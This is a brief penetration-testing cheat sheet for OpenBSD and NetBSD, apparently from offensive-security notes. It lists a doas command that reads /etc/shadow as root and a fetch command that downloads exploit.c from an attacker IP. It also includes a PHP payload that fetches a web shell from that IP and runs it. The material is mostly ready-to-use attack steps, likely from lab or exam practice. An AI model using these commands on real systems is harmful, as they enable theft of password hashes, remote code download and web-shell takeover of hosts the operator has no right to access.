# OpenBSD & NetBSD

## [doas](https://www.freebsd.org/cgi/man.cgi?query=doas\&sektion=1\&manpath=freebsd-release-ports)

Execute commands as another user.

```
doas -u root cat /etc/shadow
```

## fetch (curl)

```
fetch  http://10.11.0.244/exploit.c
<?php system("fetch -o /usr/local/databases/shell.php http://10.11.0.244/shell.php; php /usr/local/databases/shell.php"); ?>
```
